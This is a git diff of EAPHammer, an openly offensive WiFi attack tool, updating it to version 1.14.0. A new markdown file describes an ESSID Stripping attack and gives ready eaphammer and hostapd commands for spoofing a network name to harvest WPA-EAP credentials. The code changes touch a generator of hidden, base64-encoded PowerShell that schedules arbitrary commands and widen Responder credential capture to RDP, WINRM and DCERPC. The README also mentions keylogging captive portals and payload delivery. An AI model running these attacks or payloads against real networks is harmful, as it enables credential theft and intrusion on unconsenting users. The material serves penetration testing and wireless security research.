diff --git a/ESSIDStripping.md b/ESSIDStripping.md new file mode 100644 index 0000000..ac63695 --- /dev/null +++ b/ESSIDStripping.md @@ -0,0 +1,42 @@ +# ESSID Stripping + +Add a non-printable UTF8 character to the AP ESSID to avoid new security settings on WiFi clients, such as Microsoft. This security configuration stores the information of the old connections and notifies if there are any changes, blocking the automatic connections and not allowing access to the network. In addition, the user's credentials could be obtained in case the computer uses client certificate or computer credentials in the domain, because for Windows is a new network. + +With this attack, the AP name is the same for the client, but Windows detects the full name as a new one, as it sees the non-printable characters. Then, the client asks for the username, password, etc. when logging in. Like a new network. + + +The options are: +- '\r' for a new line. +- '\t' for a tab. +- '\n' for a enter, like '\r'. +- '\x20' for a space, like adding a white space after the SSID option using quotes. + + +## Attacking with original Eaphammer (only space) + +```bash +python3 ./eaphammer -i wlan3 --auth wpa-eap --essid "wifi-AP " --creds --negotiate balanced +``` + +## Attacking with modified Eaphammer + +An example using the `--stripping '\r'` parameter is shown below. In this case we use '\r' because is not showed by Android and it may go unnoticed as a new line in Windows, Linux and iOS. + + +```bash +python3 ./eaphammer -i wlan0 --auth wpa-eap --essid wifi-AP --creds --negotiate balanced --essid-stripping '\r' +``` + +## Attacking manually using hostapd + +We only have to use the UTF8 essid options, and use the P options in the essid2 in the hostapd.conf file: +``` bash +ssid2=P"wifi-AP\x20" +utf8_ssid=1 +``` + +# Refs + +- https://aireye.tech/2021/09/13/the-ssid-stripping-vulnerability-when-you-dont-see-what-you-get/ + +- https://w1.fi/cgit/hostap/plain/hostapd/hostapd.conf diff --git a/README.md b/README.md index da7c660..4c61039 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,12 @@ ![logo](https://rawcdn.githack.com/s0lst1c3/eaphammer/ab8202de4a298957a2bc5662f986cdfb195490e4/docs/img/logo.png) -by Gabriel Ryan ([s0lst1c3](https://twitter.com/s0lst1c3))(gabriel[at]solstice|d0t|sh) +by Gabriel Ryan ([s0lst1c3](https://twitter.com/s0lst1c3)) [![Foo](https://rawcdn.githack.com/toolswatch/badges/8bd9be6dac2a1d445367001f2371176cc50a5707/arsenal/usa/2017.svg)](https://www.blackhat.com/us-17/arsenal.html#eaphammer) -Current release: [v1.13.5](https://github.com/s0lst1c3/eaphammer/releases/tag/v1.13.5) +Current release: [v1.14.0](https://github.com/s0lst1c3/eaphammer/releases/tag/v1.14.0) -Supports _Python 3.5+_. +Supports _Python 3.9+_. Overview -------- @@ -79,7 +79,10 @@ Features - Fast and automated PMKID attacks against PSK networks using hcxtools - Password spraying across multiple usernames against a single ESSID -### New (as of Version 1.13.5)(latest): +### New (as of Version 1.14.0)(latest): +Added support for ESSID Stripping attacks. Fixed many, many bugs. + +### Captive Portal with Keylogging, Payload Delivery, and Integrated Website Cloaner (added in version 1.13.5): EAPHammer now has a modular captive portal with keylogging and payload delivery capabilities, as well as an integrated website cloaner for easily creating portal modules. ### WPA/2-PSK handshake captures (added as for version 1.7.0) @@ -130,13 +133,6 @@ EAPHammer now supports attacks against 802.11a and 802.11n networks. This includ - RIFS - HT power management -Upcoming Features ------------------ - -- Perform seamless MITM attacks with partial HSTS bypasses -- directed rogue AP attacks (deauth then evil twin from PNL, deauth then karma + ACL) -- Integrated website cloner for cloning captive portal login pages -- Integrated HTTP server for captive portals ## Contributing @@ -168,6 +164,7 @@ This tool either builds upon, is inspired by, or directly incorporates nearly fi * Adam Toscher * George Chatzisofroniou * Mathy Vanhoef +* Raúl Calvo Laorden For a complete description of what each of these people has contributed to the current wireless security landscape and this tool, please see: diff --git a/__version__.py b/__version__.py index da2e308..8231156 100644 --- a/__version__.py +++ b/__version__.py @@ -1,5 +1,5 @@ -__version__ = '1.13.5' -__codename__ = 'Power Overwhelming' +__version__ = '1.14.0' +__codename__ = 'Final Frontier' __author__ = '@s0lst1c3' -__contact__ = 'gabriel<>solstice(doT)sh' -__tagline__ = 'A nice shiny new access point.' +__contact__ = 'gabriel<>transmitengage.com' +__tagline__ = 'Now with more fast travel than a next-gen Bethesda game. >:D' diff --git a/core/cli.py b/core/cli.py index 4085fd5..bec1ca1 100644 --- a/core/cli.py +++ b/core/cli.py @@ -42,6 +42,7 @@ 'lport', 'karma', 'mana', + 'essid_stripping', 'loud', 'create_template', 'delete_template', @@ -75,6 +76,22 @@ 'reap_creds', ] +def suppress_banner(): + + version_flag_found = False + help_flag_found = False + for arg in sys.argv: + if arg.strip() in ['--help', '-h', '-hh']: + return False + if arg.strip() in ['--version', '-V']: + version_flag_found = True + + if version_flag_found: # and help_flag_found == False + return True + else: + return False + + def set_options(): @@ -83,6 +100,11 @@ def set_options(): modes_group = parser.add_argument_group('Modes') modes_group_ = modes_group.add_mutually_exclusive_group() + modes_group_.add_argument('--version', '-V', + dest='mode_show_version', + action='store_true', + help='Print version info') + modes_group_.add_argument('--cert-wizard', dest='cert_wizard', choices=[ @@ -457,6 +479,14 @@ def set_options(): action='store_true', help='Enable karma.') + + access_point_group.add_argument('--essid-stripping', + dest='essid_stripping', + type=str, + choices=['\\r', '\\n', '\\t', '\\x20'], + default=None, + help='Enable ESSID Stripping adding \\r.') + access_point_group.add_argument('--mac-whitelist', dest='mac_whitelist', type=str, @@ -984,6 +1014,7 @@ def set_options(): sys.exit() if (options['cert_wizard'] is False and + options['mode_show_version'] is False and options['manual_config'] is None and options['advanced_help'] is False and options['eap_spray'] is False and diff --git a/core/hostapd_config.py b/core/hostapd_config.py index ad7eb12..0699304 100644 --- a/core/hostapd_config.py +++ b/core/hostapd_config.py @@ -361,6 +361,15 @@ def populate_general(self, settings, options): if options['essid'] is None: general_configs['ssid'] = settings.dict['core']['hostapd']['general']['ssid'] else: + if options['essid_stripping']: + UTF8_char = options['essid_stripping'] + general_configs['ssid'] = options['essid'] + # Add UTF8 and ssid2=P"wifi-AP\n" + general_configs['ssid2'] = "P\"" + options['essid'] + UTF8_char +"\"" + general_configs['utf8_ssid'] = 1 + else: + general_configs['ssid'] = options['essid'] + general_configs['ssid'] = options['essid'] if options['bssid'] is None: diff --git a/core/module_maker.py b/core/module_maker.py index 15f33b6..e658628 100644 --- a/core/module_maker.py +++ b/core/module_maker.py @@ -16,7 +16,7 @@ class Cloaner(object): - def __init__(self, url, project_name=None): + def __init__(self, url, project_name=None, debug=False, bypass_robots=False, verify=False): self.url = url @@ -28,19 +28,43 @@ def __init__(self, url, project_name=None): self.full_project_path = os.path.join(g_tmp_dir, project_name, self.target_host) + self.debug = debug + + self.bypass_robots = bypass_robots + + self.verify = verify + def run(self): kwargs = { 'bypass_robots' : True, 'project_name' : self.project_name, } - - save_webpage( - - url=self.url, - project_folder=g_tmp_dir, - **kwargs + + from pywebcopy.configs import get_config + config = get_config( + self.url, + g_tmp_dir, + self.project_name, + self.bypass_robots, + self.debug, + delay=None, + threaded=None, ) + + page = config.create_page() + page.session.verify = self.verify + + page.get(self.url) + + page.save_complete(pop=True) + + #save_webpage( + # + # url=self.url, + # project_folder=g_tmp_dir, + # **kwargs + #) return @@ -140,7 +164,8 @@ def move_index_to_target(self): # script src for script in soup.findAll('script'): - script['src'] = "{{ url_for('static', filename='%s') }}" % script['src'] + if 'src' in script: + script['src'] = "{{ url_for('static', filename='%s') }}" % script['src'] body = soup.body.extract() head = soup.head.extract() diff --git a/core/payloads.py b/core/payloads.py index cccbd73..0e9a426 100644 --- a/core/payloads.py +++ b/core/payloads.py @@ -14,7 +14,7 @@ def __init__(self, command, args, delay=180): def execute(self): - return 'powershell.exe -nop -w hidden -encodedCommand '+base64.b64encode(('''ipmo ScheduledTasks + return 'powershell.exe -nop -w hidden -encodedCommand '+str(base64.b64encode(('''ipmo ScheduledTasks $action = New-ScheduledTaskAction -Execute '%s' -Argument '%s' $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(%d) # tick tick tick ;) -Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "%s" -Description "%s"''' % (self.command, self.args, self.delay, self.taskname, self.description)).encode('utf-16-le')) +Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "%s" -Description "%s"''' % (self.command, self.args, self.delay, self.taskname, self.description)).encode('utf-16-le'))) diff --git a/core/responder.py b/core/responder.py index fad2fce..4a0d725 100644 --- a/core/responder.py +++ b/core/responder.py @@ -18,7 +18,7 @@ def get_instance(): def start(self, iface): responder_bin = settings.dict['paths']['responder']['bin'] - self.process = subprocess.Popen([responder_bin, '-wrf', '--lm', '-I', iface]) + self.process = subprocess.Popen([responder_bin, '-wF', '--lm', '-I', iface]) def stop(self): diff --git a/eaphammer b/eaphammer index 944634b..b62a184 100755 --- a/eaphammer +++ b/eaphammer @@ -1,4 +1,4 @@ -#!/usr/bin/env python3.8 +#!/usr/bin/env python3 import argparse import cert_wizard @@ -1176,11 +1176,14 @@ _/ __ \\\\__ \\ \\____ \\| | \\\\__ \\ / \\ / \\_/ __ \\_ __ \\ if __name__ == '__main__': - print_banner() + if not core.cli.suppress_banner(): + + print_banner() options = core.cli.set_options() - am_i_rooot() + if not options['mode_show_version']: + am_i_rooot() if options['debug']: print('[debug] Settings:') @@ -1188,7 +1191,9 @@ if __name__ == '__main__': print('[debug] Options:') print(json.dumps(options, indent=4, sort_keys=True)) - if options['cert_wizard'] or options['bootstrap']: + if options['mode_show_version']: + print(__version__) + elif options['cert_wizard'] or options['bootstrap']: run_cert_wizard() elif options['list_templates']: list_templates() diff --git a/local/hcxdumptool/hcxdumptool.c b/local/hcxdumptool/hcxdumptool.c index 354deba..0e476c3 100644 --- a/local/hcxdumptool/hcxdumptool.c +++ b/local/hcxdumptool/hcxdumptool.c @@ -47,6 +47,7 @@ #include "include/pcap.c" #include "include/strings.c" #include "include/hashops.c" +#include /*===========================================================================*/ /* global var */ diff --git a/local/hostapd-eaphammer/hostapd/hostapd.conf b/local/hostapd-eaphammer/hostapd/hostapd.conf index aafc6b7..a6f03d8 100644 --- a/local/hostapd-eaphammer/hostapd/hostapd.conf +++ b/local/hostapd-eaphammer/hostapd/hostapd.conf @@ -85,7 +85,8 @@ ctrl_interface_group=0 ##### IEEE 802.11 related configuration ####################################### # SSID to be used in IEEE 802.11 management frames -ssid=test +ssid2=test +utf8_ssid=1 # Alternative formats for configuring SSID # (double quoted string, hexdump, printf-escaped string) #ssid2="test" diff --git a/parot-dependencies.txt b/parrot-dependencies.txt similarity index 100% rename from parot-dependencies.txt rename to parrot-dependencies.txt diff --git a/parot-setup b/parrot-setup similarity index 97% rename from parot-setup rename to parrot-setup index 5cfef45..78a5f2c 100755 --- a/parot-setup +++ b/parrot-setup @@ -16,7 +16,7 @@ def read_deps_file(deps_file): if __name__ == '__main__': exit_if_not_root() - + default_wordlist = os.path.join(settings.dict['paths']['directories']['wordlists'], settings.dict['core']['eaphammer']['general']['default_wordlist']) @@ -44,9 +44,10 @@ if __name__ == '__main__': print('\n[*] Installing Parot dependencies...\n') - os.system('apt -y install %s' % read_deps_file('parot-dependencies.txt')) + os.system('apt -y install %s -t parrot-backports' % read_deps_file('parrot-dependencies.txt')) print('\n[*] complete!\n') + print('\n[*] Installing Python dependencies...\n') os.system('python3 -m pip install -r pip.req') print('\n[*] complete!\n') diff --git a/payload_generator b/payload_generator index be6410a..d7fef9d 100755 --- a/payload_generator +++ b/payload_generator @@ -46,4 +46,4 @@ if __name__ == '__main__': print print - print s.execute() + print(s.execute()) diff --git a/pip.req b/pip.req index 0243660..9203a93 100644 --- a/pip.req +++ b/pip.req @@ -1,6 +1,6 @@ gevent>=1.5.0 tqdm -pem +pem==21.2.0 pyOpenSSL scapy lxml diff --git a/raspbian-setup b/raspbian-setup index bdb4d4d..56556fb 100755 --- a/raspbian-setup +++ b/raspbian-setup @@ -69,9 +69,9 @@ if __name__ == '__main__': os.system('cd {}/openssl && make install_sw'.format(local_dir)) print('\n[*] complete!\n') - #print('\n[*] Create DH parameters file with default length of 2048...\n') - #os.system('{} dhparam -out {} 2048'.format(openssl_bin, dh_file)) - #print('\ncomplete!\n') + print('\n[*] Create DH parameters file with default length of 2048...\n') + os.system('{} dhparam -out {} 2048'.format(openssl_bin, dh_file)) + print('\ncomplete!\n') print('\n[*] Compiling hostapd...\n') os.system("cd %s && cp defconfig .config" % settings.dict['paths']['directories']['hostapd']) diff --git a/settings/core/Responder.ini b/settings/core/Responder.ini index 659449f..69c8cf2 100644 --- a/settings/core/Responder.ini +++ b/settings/core/Responder.ini @@ -9,9 +9,14 @@ POP = On SMTP = On IMAP = On HTTP = Off +MQTT = Off +SNMP = Off HTTPS = On DNS = Off LDAP = On +RDP = On +DCERPC = On +WINRM = On ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/settings/paths.py b/settings/paths.py index 821834c..99da7b0 100644 --- a/settings/paths.py +++ b/settings/paths.py @@ -63,8 +63,8 @@ def __str__(self): RESPONDER_CONFIG_LOG = os.path.join(LOG_DIR, 'Config-Responder.log') RESPONDER_HTML = os.path.join(RESPONDER_DIR, 'files/AccessDenied.html') RESPONDER_EXE = os.path.join(RESPONDER_DIR, 'files/BindShell.exe') -RESPONDER_CERT = os.path.join(RESPONDER_DIR, 'certs/responder.crt') -RESPONDER_KEY = os.path.join(RESPONDER_DIR, 'certs/responder.key') +RESPONDER_CERT = os.path.join(ROOT_DIR, 'certs/responder.crt') +RESPONDER_KEY = os.path.join(ROOT_DIR, 'certs/responder.key') # asleap paths ASLEAP_BIN = os.path.join(ASLEAP_DIR, 'asleap') @@ -93,8 +93,7 @@ def __str__(self): HOSTAPD_BIN = os.path.join(HOSTAPD_DIR, 'hostapd-eaphammer') HOSTAPD_LIB = os.path.join(HOSTAPD_DIR, 'libhostapd-eaphammer.so') HOSTAPD_LOG = os.path.join(LOG_DIR, 'hostapd-eaphammer.log') -#output_file = 'hostapd-control-interface' # fuckit -output_file = OutputFile(name='ctrl-iface', length=8).string() +output_file = OutputFile(name='ctl-if', length=1).string() HOSTAPD_CTRL_INTERFACE = os.path.join(RUN_DIR, output_file) # eap_spray paths